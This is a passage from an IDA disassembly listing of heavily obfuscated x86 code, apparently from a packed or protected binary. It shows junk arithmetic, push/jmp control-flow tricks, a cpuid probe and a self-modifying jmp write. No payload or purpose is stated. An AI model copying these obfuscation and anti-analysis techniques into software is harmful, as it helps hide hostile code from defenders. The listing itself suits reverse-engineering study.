		jmp	loc_4233F6
sub_42D3F2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42D40B:				; CODE XREF: _7hdaygc1:0042F3C3j
		rol	edi, 10h
		test	edi, 1000h
		jmp	loc_42B07D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_135. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_42D41A:				; CODE XREF: sub_4291EA+62Bj
		jmp	sub_42A94C
; END OF FUNCTION CHUNK	FOR sub_4291EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42948A


loc_42D41F:				; CODE XREF: sub_42948A:loc_42FBB6j
		mov	[edi], esi
		pop	edx
		jmp	loc_42ACA2
; END OF FUNCTION CHUNK	FOR sub_42948A
; ---------------------------------------------------------------------------
		xchg	ebx, [edi]
		jmp	sub_42655C
; ---------------------------------------------------------------------------

locret_42D42E:				; CODE XREF: _7hdaygc1:0042DA32j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4232DA


loc_42D42F:				; CODE XREF: sub_4288C7+2941j
					; sub_4232DA:loc_42BF5Bj
		jmp	loc_429BBD
; END OF FUNCTION CHUNK	FOR sub_4232DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4232C2


loc_42D434:				; CODE XREF: sub_4232C2+804Cj
		xor	edx, edx
		cpuid
		and	eax, 0FFFh
		add	[esi], eax
		and	edx, 0FFFFFDFFh
		xor	[esi], edx
		jmp	loc_42B9FB
; END OF FUNCTION CHUNK	FOR sub_4232C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BEDA


loc_42D44C:				; CODE XREF: sub_42BEDA-2CDj
		push	edi
		mov	edi, eax
		xchg	edi, [esp+4+var_4]
		jmp	loc_424DFB
; END OF FUNCTION CHUNK	FOR sub_42BEDA
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, ebp
		xchg	ecx, [esp]
		mov	ebp, esp
		add	esp, 0FFFFFFCCh
		jmp	loc_42E5A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4296EF


loc_42D467:				; CODE XREF: sub_4296EF+1CB3j
		call	sub_428B11
		jmp	loc_42EA3F
; END OF FUNCTION CHUNK	FOR sub_4296EF

; =============== S U B	R O U T	I N E =======================================



sub_42D471	proc near		; CODE XREF: sub_42FD11:loc_4251BEp
					; sub_42FD68-3901j ...
		push	ecx
		mov	ecx, ebp


loc_42D474:				; CODE XREF: sub_42F1C6-4BEEj
		push	offset loc_426FAF
		jmp	locret_42A037
sub_42D471	endp

; ---------------------------------------------------------------------------


loc_42D47E:				; CODE XREF: _7hdaygc1:0042A1E5j
		shr	edx, cl
		or	eax, edx
		mov	edx, [ebp-8]
		mov	[edx], al
		mov	eax, [ebp-8]
		jmp	loc_429054

; =============== S U B	R O U T	I N E =======================================



sub_42D48F	proc near		; CODE XREF: _7hdaygc1:00423CC1j
					; sub_42B14C-327Ep

; FUNCTION CHUNK AT 004238C5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042D05C SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	edx
		push	401F096Eh
		pop	edx
		sub	edx, 0DE079E53h
		add	edx, 0F0C416B1h
		jmp	loc_42D05C
sub_42D48F	endp

; ---------------------------------------------------------------------------


loc_42D4AB:				; CODE XREF: _7hdaygc1:00424099j
		jge	loc_428458

; =============== S U B	R O U T	I N E =======================================



sub_42D4B1	proc near		; CODE XREF: sub_42BA2C:loc_42578Cp

; FUNCTION CHUNK AT 0042A3CC SIZE 00000009 BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	esp, 0FFFFFFF4h
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	[ebp-8], eax
		jmp	loc_42A3CC
sub_42D4B1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428E56


loc_42D4C6:				; CODE XREF: sub_428E56+6DB4j
		mov	ebp, edi
		or	edx, 9E8BE396h
		mov	[eax], ecx
; END OF FUNCTION CHUNK	FOR sub_428E56
; START	OF FUNCTION CHUNK FOR sub_42F528


loc_42D4D0:				; CODE XREF: sub_42F528:loc_428F95j
		push	edx
		push	80A74C9Ah
		xchg	ebx, [esp+8+var_8]
		mov	edx, ebx
		pop	ebx
		jmp	loc_425400
; END OF FUNCTION CHUNK	FOR sub_42F528
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F0D1


loc_42D4E1:				; CODE XREF: sub_42F0D1:loc_42B3A8j
		mov	byte ptr [edi],	0E9h
		xchg	ecx, [esp+8+var_8]
		mov	edi, ecx
		pop	ecx
		add	ecx, 0BFEED0DEh
		xchg	ecx, [esp+4+var_4]
		jmp	loc_424416
; END OF FUNCTION CHUNK	FOR sub_42F0D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AFFE


loc_42D4F8:				; CODE XREF: sub_42AFFE:loc_42D563j
		push	eax
		push	0CBA22904h
		jmp	loc_4281BA
; END OF FUNCTION CHUNK	FOR sub_42AFFE

; =============== S U B	R O U T	I N E =======================================



sub_42D503	proc near		; CODE XREF: sub_42AFFE+37C8j
		push	ebx
		push	offset loc_42EC86
		jmp	loc_427CD7
sub_42D503	endp


; =============== S U B	R O U T	I N E =======================================



sub_42D50E	proc near		; DATA XREF: _7hdaygc1:loc_4247D9o

var_4		= dword	ptr -4

		push	edx
		mov	edx, ecx
		xchg	edx, [esp+4+var_4]
		push	9850504Fh
sub_42D50E	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_425E64


loc_42D519:				; CODE XREF: sub_425E64+1432j
		pop	ecx
		xor	ecx, 40093588h
		cmp	ecx, 178671FCh
		jmp	loc_427CA4
; END OF FUNCTION CHUNK	FOR sub_425E64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4273CA


loc_42D52B:				; CODE XREF: sub_4273CA:loc_425284j
		mov	dword ptr [ebp-18h], 0
; END OF FUNCTION CHUNK	FOR sub_4273CA
; START	OF FUNCTION CHUNK FOR sub_424963


loc_42D532:				; CODE XREF: sub_424963+875Bj
		mov	eax, [ebp-14h]
		mov	eax, [eax+20h]


loc_42D538:				; CODE XREF: _7hdaygc1:00426375j
		add	eax, [ebp-4]
		xor	edx, edx
		push	edx
		call	sub_42BDCF


loc_42D543:				; CODE XREF: sub_426130:loc_42B7D8j
		jnz	loc_42D3D2
		jmp	loc_42E891
; END OF FUNCTION CHUNK	FOR sub_424963
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_117. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429C1F


loc_42D54F:				; CODE XREF: sub_429C1F-16E9j
		jmp	loc_428D57
; END OF FUNCTION CHUNK	FOR sub_429C1F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EF91


loc_42D554:				; CODE XREF: sub_42EF91-3D57j
		mov	ebp, edx
		add	ebp, 0F1BAD2A6h
		cmp	edi, eax
		jmp	loc_424D71
; END OF FUNCTION CHUNK	FOR sub_42EF91
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AFFE


loc_42D563:				; CODE XREF: sub_42AFFE+C25j
		jb	loc_42D4F8
		mov	eax, 0CA63EE4Ah


loc_42D56E:				; CODE XREF: sub_4289CE:loc_42F704j
		and	ecx, 14ED7EAFh
		jns	loc_42F026
		cmp	edx, 0C1CC9CFCh
		jmp	loc_42F01E
; END OF FUNCTION CHUNK	FOR sub_42AFFE
; ---------------------------------------------------------------------------


loc_42D585:				; CODE XREF: _7hdaygc1:0042DA22j
		call	sub_426CBB
		push	offset sub_42A199
		jmp	loc_429BDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_42D594:				; CODE XREF: sub_4291EA:loc_426D92j
		add	ecx, 0AAC0BED1h
; END OF FUNCTION CHUNK	FOR sub_4291EA

; =============== S U B	R O U T	I N E =======================================



sub_42D59A	proc near		; CODE XREF: _7hdaygc1:00427DEDp
		xchg	ecx, [esp+0]
		pop	ecx
		push	51444315h
		pop	edi
		add	edi, 425EB9AFh
		sub	edi, 53575B92h
		add	edi, 0ABB5C4E4h
		jmp	loc_42AAFF
sub_42D59A	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_28. PRESS	KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_125. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_42D5BD	proc near		; DATA XREF: sub_4264C0+6o
		add	ecx, 6EF7D10Ch
sub_42D5BD	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_42BEC6


loc_42D5C3:				; CODE XREF: sub_42BEC6:loc_425900j
		push	offset loc_42C912
		jmp	nullsub_189
; END OF FUNCTION CHUNK	FOR sub_42BEC6
; ---------------------------------------------------------------------------


loc_42D5CD:				; CODE XREF: _7hdaygc1:00425295j
		jge	loc_42FC66
		shr	esi, 1Ah
		jmp	loc_4260C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423C08


loc_42D5DB:				; CODE XREF: sub_423C08:loc_426D47j
		push	ecx
		mov	ecx, ebp


loc_42D5DE:				; CODE XREF: sub_42F8C4:loc_4263DCj
		xchg	ecx, [esp+8+var_8]
		mov	ebp, esi
		xchg	ebp, [esp+8+var_8]
		push	ecx
		mov	ecx, edi
		xchg	ecx, [esp+0Ch+var_C]
		jmp	loc_423F94
; END OF FUNCTION CHUNK	FOR sub_423C08

; =============== S U B	R O U T	I N E =======================================



sub_42D5F1	proc near		; DATA XREF: sub_424A2B+A8BAo

; FUNCTION CHUNK AT 0042456A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00426AE7 SIZE 00000005 BYTES

		mov	eax, [ebp-8]
		shl	eax, 3
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		shr	eax, 0Bh
		jmp	loc_42456A
sub_42D5F1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F789


loc_42D605:				; CODE XREF: sub_42F789-ACECj
		xor	[edx], eax
		inc	dword ptr [ebp-8]
		call	sub_42B057


loc_42D60F:				; CODE XREF: sub_42F05E-3EDDj
		jmp	loc_42FCAE
; END OF FUNCTION CHUNK	FOR sub_42F789
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42951D


loc_42D614:				; CODE XREF: sub_42951D+10j
		jmp	loc_42B324
; END OF FUNCTION CHUNK	FOR sub_42951D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA47


loc_42D619:				; CODE XREF: sub_42AA47-714Bj
		adc	edx, 55E43CFBh
		xchg	eax, ebx
		jmp	loc_42AF1E
; END OF FUNCTION CHUNK	FOR sub_42AA47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425752


loc_42D626:				; CODE XREF: sub_425752:loc_42584Bj
					; _7hdaygc1:loc_42585Fj
		xor	edi, 40164C80h
		popf
		push	offset sub_42B4F9
		jmp	locret_42869C
; END OF FUNCTION CHUNK	FOR sub_425752
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423648


loc_42D637:				; CODE XREF: sub_423648+C4EDj
		cmp	dword ptr [ebp-8], 0
		jz	loc_423652
		jmp	loc_42EC57
; ---------------------------------------------------------------------------


loc_42D646:				; CODE XREF: sub_423648+C4D7j
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
		mov	eax, ds:dword_427474[eax*4]
		mov	[ebp-8], eax
		jmp	loc_4243D5
; END OF FUNCTION CHUNK	FOR sub_423648
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_42D65B:				; CODE XREF: sub_4291EA:loc_42B61Aj
					; sub_4291EA+5784j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	eax
		mov	[ebp+var_4], eax
		jmp	loc_42327A
; END OF FUNCTION CHUNK	FOR sub_4291EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42524F


loc_42D66E:				; CODE XREF: sub_42524F+4j
		inc	ds:dword_42B9A0
		jmp	loc_42CF4C
; END OF FUNCTION CHUNK	FOR sub_42524F
; ---------------------------------------------------------------------------


loc_42D679:				; CODE XREF: _7hdaygc1:004233C1j
		xor	edx, [esp+4]
		jns	loc_4257B7
		add	esp, 8
		and	eax, 0FFh
		xor	edx, edx
		mov	edx, ds:dword_42BC60
		jmp	loc_42EC2E
; ---------------------------------------------------------------------------


loc_42D699:				; CODE XREF: _7hdaygc1:00428006j
		jge	loc_42EDC6
		sub	ebp, 0C2EFFF82h
		and	esi, ebp
		jmp	loc_42EDC6
; ---------------------------------------------------------------------------
		jo	loc_42585F
		jmp	sub_42E32F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4246D7


loc_42D6B7:				; CODE XREF: sub_4246D7:loc_42988Fj
		or	eax, 10h
		mov	edx, [ebp+8]
		mov	[edx-8], eax
		jmp	loc_42CE42
; ---------------------------------------------------------------------------


loc_42D6C5:				; CODE XREF: sub_4246D7+4j
		cmp	dword ptr [ebp-10h], 2
		jnz	loc_42CE42
		mov	eax, [ebp+8]
		or	dword ptr [eax-8], 8
		jmp	loc_42F921
; END OF FUNCTION CHUNK	FOR sub_4246D7
; ---------------------------------------------------------------------------


loc_42D6DB:				; CODE XREF: _7hdaygc1:loc_42A630j
		push	offset sub_42D9A6
		jmp	locret_426FDA
; ---------------------------------------------------------------------------
		push	eax
		ror	eax, 17h
		mov	ds:dword_42BC64, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_42D6F0:				; CODE XREF: sub_42C16F-3723j
		call	sub_42614E


loc_42D6F5:				; CODE XREF: sub_424963+2593j
		jmp	loc_42A0D0
; END OF FUNCTION CHUNK	FOR sub_42C16F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_42D6FA:				; CODE XREF: sub_4291EA:loc_429357j
		xchg	ebx, [esp+0]
		call	sub_424CE0
; END OF FUNCTION CHUNK	FOR sub_4291EA
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_42D702:				; CODE XREF: sub_42C16F+1B95j
		jmp	sub_42C1AF
; END OF FUNCTION CHUNK	FOR sub_42C16F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A2EF


loc_42D707:				; CODE XREF: sub_42A2EF+7j
		jmp	loc_425CC6
; END OF FUNCTION CHUNK	FOR sub_42A2EF
; ---------------------------------------------------------------------------


loc_42D70C:				; DATA XREF: _7hdaygc1:loc_429ECBo
		or	eax, eax
		jnz	loc_42863C
		jmp	loc_429702
; ---------------------------------------------------------------------------


loc_42D719:				; DATA XREF: sub_4253A0+E4Ao
		mov	eax, [eax+24h]
		add	eax, [ebp-4]
		xor	edx, edx
		push	edx
		push	eax
		jmp	loc_4234F1
; ---------------------------------------------------------------------------


loc_42D728:				; CODE XREF: _7hdaygc1:loc_42A368j
		call	sub_42681B
; START	OF FUNCTION CHUNK FOR sub_425E64


loc_42D72D:				; CODE XREF: sub_425E64:loc_42F27Dj
		mov	[edx], al


loc_42D72F:				; CODE XREF: sub_427F72-163Cj
		dec	dword ptr [ebp-10h]
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-10h], 0
		jge	loc_42AF2B
		jmp	loc_42FB44
; END OF FUNCTION CHUNK	FOR sub_425E64

; =============== S U B	R O U T	I N E =======================================



sub_42D744	proc near		; DATA XREF: sub_424A2B+712Co
		inc	dword ptr [ebp-0Ch]
		jmp	loc_42D24D
sub_42D744	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4237DA


loc_42D74C:				; CODE XREF: sub_42A401+6j
					; sub_4237DA+A02Aj
		inc	dword ptr [ebp-8]
		inc	dword ptr [ebp-0Ch]
		jmp	loc_42D91F
; END OF FUNCTION CHUNK	FOR sub_4237DA

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D757	proc near		; CODE XREF: sub_42A833:loc_423004p
					; sub_423144+Fp ...

; FUNCTION CHUNK AT 0042C3CF SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042E814 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		js	sub_4240B0
		add	esp, 0FFFFFFECh
		jmp	loc_42E814
sub_42D757	endp

; ---------------------------------------------------------------------------
		xor	ebp, 0D6313883h
		or	ebx, edx
		jmp	sub_424B63
; ---------------------------------------------------------------------------


loc_42D775:				; CODE XREF: _7hdaygc1:00423BC4j
		pop	ebx
		xor	ebx, ds:4000F4h
		or	ebx, 0C5B20892h
		add	ebx, 1A868791h
		xchg	ebx, [esp]
		jmp	loc_42C9F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4295A2


loc_42D790:				; CODE XREF: sub_4295A2+12j
		mov	edi, [edi]
		popf
		push	offset sub_425CA9
		jmp	nullsub_59
; END OF FUNCTION CHUNK	FOR sub_4295A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424F62


loc_42D79D:				; CODE XREF: sub_424F62+5401j
		sbb	edi, 524C8C86h
		or	edi, ebx
		jmp	loc_426F8F
; END OF FUNCTION CHUNK	FOR sub_424F62
; ---------------------------------------------------------------------------


loc_42D7AA:				; CODE XREF: _7hdaygc1:00425431j
		push	0C192AE57h
; START	OF FUNCTION CHUNK FOR sub_42AA9B


loc_42D7AF:				; CODE XREF: sub_42AA9B-567Ej
		add	ecx, 10C0ACFAh
		push	eax
		pushf
		push	4170ED8Ah
		pop	eax
		or	eax, 0F37F730Fh
		add	eax, 0AF57B3A6h
		jmp	loc_4271C8
; END OF FUNCTION CHUNK	FOR sub_42AA9B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_157. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423648


loc_42D7CF:				; CODE XREF: sub_423648+472Fj
		jmp	loc_426E7B
; END OF FUNCTION CHUNK	FOR sub_423648
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424744


loc_42D7D4:				; CODE XREF: sub_424744+6j
					; sub_42CCDD-31EBj
		rol	eax, 6
		push	offset loc_42FD23
		jmp	nullsub_61
; END OF FUNCTION CHUNK	FOR sub_424744
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F31E


loc_42D7E1:				; CODE XREF: sub_42F31E+16j
		call	sub_428C3B
		xor	ebx, eax
		mov	[ebp-8], ebx
		push	eax
		push	378CC050h
		jmp	loc_42AC07
; END OF FUNCTION CHUNK	FOR sub_42F31E
; ---------------------------------------------------------------------------
		cdq
		or	edx, eax
		jmp	sub_424680
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4237DA


loc_42D7FE:				; CODE XREF: sub_4237DA:loc_42D91Fj
		mov	eax, [ebp-0Ch]
		cmp	byte ptr [eax],	0
		jnz	loc_42D74C
		mov	eax, [ebp-4]
		mov	[ebp-0Ch], eax
		call	sub_42D245


loc_42D815:				; CODE XREF: _7hdaygc1:0042DCD8j
		jmp	loc_4284D0
; END OF FUNCTION CHUNK	FOR sub_4237DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423410


loc_42D81A:				; CODE XREF: sub_423410+1j
		jmp	loc_4269DB
; END OF FUNCTION CHUNK	FOR sub_423410
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D01B


loc_42D81F:				; CODE XREF: sub_42D01B:loc_427C88j
		rol	ebx, 0Fh
		add	ebx, 322C9243h
		call	sub_42ED70
; END OF FUNCTION CHUNK	FOR sub_42D01B
; START	OF FUNCTION CHUNK FOR sub_42CCFE


loc_42D82D:				; CODE XREF: sub_42CCFE+16j
		jmp	loc_42818B
; END OF FUNCTION CHUNK	FOR sub_42CCFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428E56


loc_42D832:				; CODE XREF: sub_428E56+6j
		push	eax
		push	96D10B54h
		pop	eax
		and	eax, 0E281CA02h
		or	eax, 0D63D768h
		jmp	loc_4246B8
; END OF FUNCTION CHUNK	FOR sub_428E56

; =============== S U B	R O U T	I N E =======================================



sub_42D84A	proc near		; CODE XREF: sub_42C7F3-8B6Ep
					; _7hdaygc1:0042523Fj

var_10		= dword	ptr -10h
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0042720A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00428321 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004297D9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A671 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042C158 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C8AE SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042E3DA SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0042E402 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0042E738 SIZE 00000022 BYTES

		xchg	edi, [esp+8+var_8]


loc_42D84D:				; CODE XREF: _7hdaygc1:loc_429D30j
		pop	edi
		push	ecx
		push	0A4732401h
		jmp	loc_4297D9
sub_42D84A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42D859	proc near		; CODE XREF: sub_424F3E+Dj
		retn
sub_42D859	endp

; ---------------------------------------------------------------------------


loc_42D85A:				; CODE XREF: _7hdaygc1:0042C045j
		jmp	loc_4297D3

; =============== S U B	R O U T	I N E =======================================



sub_42D85F	proc near		; CODE XREF: sub_426064-2097p
					; sub_42BB83:loc_424FAFp ...
		push	offset sub_42911B
		jmp	nullsub_92
sub_42D85F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425C2C


loc_42D869:				; CODE XREF: sub_425C2C+62EFj
		pop	ecx
		pop	ecx
		push	offset sub_42E2F4
		jmp	nullsub_180
; END OF FUNCTION CHUNK	FOR sub_425C2C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4273CA


loc_42D875:				; CODE XREF: sub_4273CA-2036j
		mov	eax, [eax+18h]
		dec	eax
		test	eax, eax
		jl	loc_42B644


loc_42D881:				; CODE XREF: _7hdaygc1:loc_423DF6j
		inc	eax
		mov	[ebp-24h], eax
		jmp	loc_425284
; END OF FUNCTION CHUNK	FOR sub_4273CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_42D88A:				; CODE XREF: sub_42C443:loc_42340Bj
		pop	edx
		or	edx, 0F1A78C42h
		xor	edx, 2A442064h
		call	sub_42C1AF
		push	eax
		ror	eax, 15h
		push	ebp
		mov	ebp, ecx
		jmp	loc_42F7FD
; END OF FUNCTION CHUNK	FOR sub_42C443
; ---------------------------------------------------------------------------


loc_42D8A8:				; CODE XREF: _7hdaygc1:00424A59j
		jp	loc_42B8D3
		cdq

; =============== S U B	R O U T	I N E =======================================



sub_42D8AF	proc near		; CODE XREF: _7hdaygc1:0042580Cp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00429D01 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		xchg	ebx, [esp-4+arg_0]
		jmp	loc_429D01
sub_42D8AF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425D65


loc_42D8BB:				; CODE XREF: sub_425D65:loc_42EB84j
		jz	loc_4282F3
		mov	dword ptr [ebp-8], 1
		jmp	loc_42C477
; END OF FUNCTION CHUNK	FOR sub_425D65

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D8CD	proc near		; CODE XREF: sub_42B01Ej

var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_1], al
		cmp	[ebp+var_1], 0
		push	offset sub_42E7F5
		jmp	nullsub_62
sub_42D8CD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426130


loc_42D8E4:				; CODE XREF: sub_426130+4303j
		jge	loc_42BF37
		rol	eax, 1Eh
		and	edi, eax
		xor	ebx, eax
		shl	ebx, 8
		adc	edx, eax
		jmp	loc_42BF37
; END OF FUNCTION CHUNK	FOR sub_426130

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42D8FB	proc near		; CODE XREF: sub_42AA47:loc_424930j
		retn
sub_42D8FB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42567E


loc_42D8FC:				; CODE XREF: sub_42567E-D2Cj
		ja	loc_42C650


loc_42D902:				; CODE XREF: sub_42567E:loc_42C4A2j
		push	0E0732E99h
		call	sub_42F8DB


loc_42D90C:				; DATA XREF: sub_42B6B5-29A5o
		mov	edi, edx
		pop	edx
		mov	eax, [ebp+var_3C]
		add	eax, 80h
		jmp	loc_42FA43
; END OF FUNCTION CHUNK	FOR sub_42567E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4237DA


loc_42D91C:				; CODE XREF: sub_4237DA:loc_42B7A0j
		mov	[ebp-8], eax


loc_42D91F:				; CODE XREF: sub_4237DA+9F78j
		jno	loc_42D7FE
		push	offset sub_42A401
		jmp	nullsub_64
; END OF FUNCTION CHUNK	FOR sub_4237DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4288FE


loc_42D92F:				; CODE XREF: sub_4288FE:loc_42E1C8j
		sub	edi, 0F858F7D5h
		add	edi, 0BD9B996Ah
		xchg	edi, [esp+0Ch+var_C]
		push	0
		push	ebx
		push	0B7A3627Dh
		jmp	loc_425B8C
; END OF FUNCTION CHUNK	FOR sub_4288FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A39


loc_42D94B:				; CODE XREF: sub_426A39+259Fj
		pop	eax
		add	eax, 7BE8325Dh
		sub	eax, 2F869BABh
		and	eax, 0C778DBC6h
		rol	eax, 4
		xor	eax, 55E73B7Ah
		jmp	loc_428C31
; END OF FUNCTION CHUNK	FOR sub_426A39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CDF7


loc_42D96C:				; CODE XREF: sub_42CDF7-D8Ej
		xchg	ecx, [esp+0]
		jmp	loc_42C69B
; END OF FUNCTION CHUNK	FOR sub_42CDF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_42D974:				; CODE XREF: sub_42C443:loc_42E04Cj
		xchg	eax, [esp+4+var_4]
		mov	edx, eax
		pop	eax
		push	eax
		jmp	loc_42EBAE
; END OF FUNCTION CHUNK	FOR sub_42C443

; =============== S U B	R O U T	I N E =======================================



sub_42D980	proc near		; DATA XREF: _7hdaygc1:0042E31Fo
		pop	ebp
		push	2DE7639Ch
		pop	eax
		or	eax, 9CB231D6h
		jmp	loc_42AEC9
sub_42D980	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DFC


loc_42D992:				; CODE XREF: sub_423DFC:loc_4246A1j
		pop	eax
		or	eax, 0FFC7CB2Ah
		xor	eax, 155AEC6h
		add	eax, ebp
		jmp	loc_42E5DB
; END OF FUNCTION CHUNK	FOR sub_423DFC

; =============== S U B	R O U T	I N E =======================================



sub_42D9A6	proc near		; DATA XREF: _7hdaygc1:loc_42D6DBo

var_4		= dword	ptr -4

		push	edi
		mov	edi, eax
		xchg	edi, [esp+4+var_4]
		retn
sub_42D9A6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42D9AD:				; CODE XREF: _7hdaygc1:004257ACj
		push	ebp
		push	offset loc_42C687
		jmp	loc_42B6FB
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	loc_424BDD
		jmp	loc_42829D
; ---------------------------------------------------------------------------


loc_42D9C5:				; CODE XREF: _7hdaygc1:0042DA10j
		jno	loc_4297C4

; =============== S U B	R O U T	I N E =======================================



sub_42D9CB	proc near		; CODE XREF: sub_42DD73-4807p

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0042F583 SIZE 00000004 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	ebx
		pop	ecx
		pop	ebx
		xchg	edx, [esp-8+arg_4]
		jmp	loc_42F583
sub_42D9CB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		add	esp, 10h
		pop	ebp
		xor	eax, eax
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42D9E1	proc near		; CODE XREF: sub_423A6D+6p
					; _7hdaygc1:00425E9Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004230CD SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00427F5A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004280D6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004280F2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004289C1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00429AFD SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042B295 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B2EC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C57B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042C6BF SIZE 00000006 BYTES
